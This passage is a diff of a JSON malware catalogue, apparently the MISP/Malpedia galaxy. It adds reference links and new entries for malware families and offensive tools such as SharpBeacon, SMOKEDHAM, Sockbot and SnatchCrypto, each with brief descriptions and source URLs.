"https://therecord.media/redecho-group-parks-domains-after-public-exposure/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://www.recordedfuture.com/redecho-targeting-indian-power-sector/", "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", "https://www.youtube.com/watch?v=55kaaMGBARM", "https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf", "https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/", "https://securelist.com/shadowpad-in-corporate-networks/81432/", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", + "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", + "https://www.recordedfuture.com/continued-targeting-of-indian-power-grid-assets/", "https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf", + "https://go.recordedfuture.com/hubfs/reports/ta-2022-0406.pdf", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/", "https://labs.sentinelone.com/shadowpad-a-masterpiece-of-privately-sold-malware-in-chinese-espionage/", "https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html", "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/", + "https://www.ic3.gov/Media/News/2021/211220.pdf", "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", + "https://www.theregister.com/2022/04/08/china_sponsored_attacks_india_ukraine/", "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", + "https://medium.com/insomniacs/its-a-bee-it-s-a-no-it-s-shadowpad-aff6a970a1c2", + "https://hub.dragos.com/hubfs/333%20Year%20in%20Review/2021/2021%20ICS%20OT%20Cybersecurity%20Year%20In%20Review%20-%20Dragos%202021.pdf", + "https://thehackernews.com/2022/02/researchers-link-shadowpad-malware.html", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", - "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", + "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", + "https://www.secureworks.com/research/shadowpad-malware-analysis", "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf", + "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage" ], "synonyms": [ @@ -31936,6 +37682,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shark", + "https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/", "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf" ], "synonyms": [], @@ -31944,6 +37691,19 @@ "uuid": "d00c8f94-d6b5-40b7-b167-fc546c5dec38", "value": "Shark" }, + { + "description": ".NET reimplementation of Cobalt Strike beacon/stager", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpbeacon", + "https://github.com/mai1zhi2/SharpBeacon" + ], + "synonyms": [], + "type": [] + }, + "uuid": "12c0e80c-c439-4eaf-9272-f78b16010313", + "value": "SharpBeacon" + }, { "description": "", "meta": { @@ -31960,12 +37720,26 @@ "uuid": "d31f1c73-d14b-41e2-bb16-81ee1d886e43", "value": "SHARPKNOT" }, + { + "description": "This tool is made to simplify penetration testing of networks and to create a Swiss-army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpmapexec", + "https://github.com/cube0x0/SharpMapExec" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e9940cca-6e3a-45e2-88b7-8fa9ae19c647", + "value": "SharpMapExec" + }, { "description": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstage", "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/" ], "synonyms": [ @@ -31989,6 +37763,22 @@ "uuid": "819fd946-ed0e-4cec-ad45-66b88e39b732", "value": "SHARPSTATS" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.shellclient", + "https://www.cybereason.com/blog/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms", + "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/" + ], + "synonyms": [ + "GhostShell" + ], + "type": [] + }, + "uuid": "f91adcf2-10ce-4ea3-bfae-ea6e270d56f0", + "value": "ShellClient RAT" + }, { "description": "", "meta": { @@ -32011,8 +37801,9 @@ "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan", - "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/" + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/", + "https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan" ], "synonyms": [], "type": [] @@ -32130,6 +37921,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder", + "https://medium.com/@DCSO_CyTec/404-file-still-found-d52c3834084c", "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/", @@ -32427,6 +38219,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://securelist.com/apt-slingshot/84312/", "https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf", "https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/" @@ -32442,7 +38235,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver", - "https://github.com/BishopFox/sliver" + "https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf", + "https://team-cymru.com/blog/2022/04/29/sliver-case-study-assessing-common-offensive-security-tools/", + "https://github.com/BishopFox/sliver", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://www.telsy.com/download/5900/?uid=b797afdcfb", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/" ], "synonyms": [], "type": [] @@ -32566,17 +38364,36 @@ "uuid": "b81cbf03-8909-4833-badf-4df32c9bf6cb", "value": "SMAUG" }, + { + "description": "According to Mandiant, SMOKEDHAM is dropped through a powershell script that contains the (C#) source code for this backdoor, which is stored in an encrypted variable. The dropper dynamically defines a cmdlet and .NET class for the backdoor, meaning the compiled code is only found in memory.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokedham", + "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", + "https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7547af7d-e4fe-4ee1-8a3d-55981740b78c", + "value": "SMOKEDHAM" + }, { "description": "The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader", + "https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/", "https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://m.alvar.es/2020/06/comparative-analysis-between-bindiff.html", "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo", + "https://asec.ahnlab.com/en/33600/", + "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.101_ENG.pdf", "https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/", "https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign", "https://research.checkpoint.com/2019-resurgence-of-smokeloader/", @@ -32584,6 +38401,7 @@ "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", "https://n1ght-w0lf.github.io/malware%20analysis/smokeloader/", "http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html", + "https://securitynews.sonicwall.com/xmlpost/html-application-hta-files-are-being-used-to-distribute-smoke-loader-malware/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", @@ -32595,6 +38413,7 @@ "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html", "https://hatching.io/blog/tt-2020-08-27/", + "https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.telekom.com/en/blog/group/article/a-new-way-to-encrypt-cc-server-urls-614886", "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", @@ -32610,10 +38429,14 @@ "https://www.cert.pl/en/news/single/dissecting-smoke-loader/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://intel471.com/blog/privateloader-malware", "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/", "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", "https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://m.alvar.es/2019/10/dynamic-imports-and-working-around.html", + "https://m.alvar.es/2020/06/unpacking-smokeloader-and.html", "https://x0r19x91.in/malware-analysis/smokeloader/" ], "synonyms": [ @@ -32717,10 +38540,14 @@ "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md", - "https://twitter.com/VK_Intel/status/1191414501297528832" + "https://twitter.com/VK_Intel/status/1191414501297528832", + "https://www.crowdstrike.com/blog/financial-motivation-drives-golang-malware-adoption/" ], "synonyms": [], "type": [] @@ -32728,6 +38555,19 @@ "uuid": "98139439-6863-439c-b4d0-c6893f1afb23", "value": "Snatch" }, + { + "description": "Malware observed in the SnatchCrypto campaign, attributed by Kaspersky Labs to BlueNoroff with high confidence.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto", + "https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b7affd90-6551-4266-b864-a0b9f6d5b309", + "value": "SnatchCrypto" + }, { "description": "A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.", "meta": { @@ -32848,6 +38688,21 @@ "uuid": "4366ea63-b784-428c-bb00-89ee99eaf8c3", "value": "Socelars" }, + { + "description": "Sockbot is a customized and in Go written fork of the Ligolo reverse tunneling open-source \r\ntool. Several modification were performed by the threat actors who rewrote that code, e.g. execution checks, hardcoded values.\r\nLigolo: https://github.com/sysdream/ligolo", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sockbot", + "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", + "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b477dcfb-281c-4bef-9a23-f004ebe5a465", + "value": "Sockbot" + }, { "description": "", "meta": { @@ -32866,6 +38721,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.accenture.com/t00010101T000000Z__w__/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf", "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" @@ -32885,6 +38741,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster", "https://securelist.com/apt-trends-report-q1-2021/101967/", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", + "https://www.bleepingcomputer.com/news/security/chinese-hackers-abuse-vlc-media-player-to-launch-malware-loader/", "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf" ], "synonyms": [ @@ -32915,18 +38774,26 @@ "value": "Solarbot" }, { - "description": "", + "description": "Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.\r\n\r\nSome of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims’ web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.\r\n\r\nThe malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker", + "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/", "https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer", "https://www.binarydefense.com/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise", + "https://unit42.paloaltonetworks.com/solarmarker-malware/", "https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html", + "https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction", "https://twitter.com/MsftSecIntel/status/1403461397283950597", - "https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire", + "https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf", + "https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer", "https://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html#more", "https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/", - "https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/" + "https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker", + "https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/", + "https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire" ], "synonyms": [ "Jupyter", @@ -33009,6 +38876,21 @@ "uuid": "bc135ba5-637b-46c9-94fc-2eef5e018bb5", "value": "Sorgu" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul", + "https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware" + ], + "synonyms": [ + "SoulSearcher" + ], + "type": [] + }, + "uuid": "f7e3b124-ad70-4456-9aff-3ec501e8c42d", + "value": "Soul" + }, { "description": "", "meta": { @@ -33053,7 +38935,8 @@ "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" + "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east" ], "synonyms": [], "type": [] @@ -33092,6 +38975,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door", + "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf", "https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/" ], "synonyms": [ @@ -33115,6 +38999,19 @@ "uuid": "e4dce19f-bb8e-4ea1-b771-58b162946f29", "value": "Spartacus" }, + { + "description": "Mixed RAT and Botnet malware sold in underground forums. In march 2021 it was advertised with the Spectre 2.0, it reached version 3 in June 2021 and then quickly version 4. This crimeware tool was being abused in malicious campaigns targeting European users in September 2021.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre", + "https://yoroi.company/research/spectre-v4-0-the-speed-of-malware-threats-after-the-pandemics/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0d0935cc-d98f-4a0e-8e13-f36358e974b4", + "value": "Spectre Rat" + }, { "description": "", "meta": { @@ -33141,6 +39038,20 @@ "uuid": "dfbe088e-dd6d-4bad-8e2b-7a4162034da4", "value": "Spicy Hot Pot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", + "https://twitter.com/nahamike01/status/1471496800582664193?s=20" + ], + "synonyms": [], + "type": [] + }, + "uuid": "70d271b7-2dcc-4b4f-94a5-9ea4b2165510", + "value": "SPIDERPIG RAT" + }, { "description": "", "meta": { @@ -33176,10 +39087,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder", + "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", + "https://vms.drweb.com/virus/?i=23648386", + "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf", "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", - "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", - "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf" + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/" ], "synonyms": [], "type": [] @@ -33216,19 +39130,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle", + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://www.cynet.com/understanding-squirrelwaffle/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", + "https://www.sentinelone.com/blog/is-squirrelwaffle-the-new-emotet-how-to-detect-the-latest-malspam-loader/", + "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-squirrelwaffle-loader", + "https://twitter.com/Max_Mal_/status/1442496131410190339", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", "https://www.malware-traffic-analysis.net/2021/09/17/index.html", "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", - "https://www.cynet.com/understanding-squirrelwaffle/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/the-newest-malicious-actor-squirrelwaffle-malicious-doc/", + "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://blog.minerva-labs.com/a-new-datoploader-delivers-qakbot-trojan", + "https://news.sophos.com/en-us/2022/02/15/vulnerable-exchange-server-hit-by-squirrelwaffle-and-financial-fraud/", + "https://certitude.consulting/blog/en/unpatched-exchange-servers-distribute-phishing-links-squirrelwaffle/", + "https://twitter.com/jhencinski/status/1464268732096815105", "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", - "https://twitter.com/Max_Mal_/status/1442496131410190339", "https://security-soup.net/squirrelwaffle-maldoc-analysis/", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", "https://www.youtube.com/watch?v=9X2P7aFKSw0" ], - "synonyms": [], + "synonyms": [ + "DatopLoader" + ], "type": [] }, "uuid": "cdbfd973-fa96-4e64-b2a3-9d51460fd7af", @@ -33378,8 +39307,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog", + "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", "https://twitter.com/ESETresearch/status/1433819369784610828", - "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" + "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques" ], "synonyms": [], "type": [] @@ -33392,8 +39323,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool", "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", - "https://twitter.com/r3c0nst/status/1425875923606310913" + "https://twitter.com/r3c0nst/status/1425875923606310913", + "https://securelist.com/new-ransomware-trends-in-2022/106457/" ], "synonyms": [ "Corrempa" @@ -33479,13 +39412,19 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", "https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads", "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://intel471.com/blog/privateloader-malware", "https://securelist.com/keypass-ransomware/87412/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/" + "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/", + "https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list", + "https://angle.ankura.com/post/102het9/the-stop-ransomware-variant", + "https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/", + "https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b" ], "synonyms": [ "Djvu", @@ -33524,6 +39463,20 @@ "uuid": "00dedcea-4f87-4b6d-b12d-7749281b1366", "value": "Stresspaint" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat", + "https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations", + "https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5627aff2-7e1d-4b11-81f5-33cd7febdd76", + "value": "StrifeWater RAT" + }, { "description": "", "meta": { @@ -33534,11 +39487,15 @@ "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity", "https://0xthreatintel.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4", + "https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation", "https://twitter.com/physicaldrive0/status/786293008278970368", "https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/", "https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/", + "https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/", + 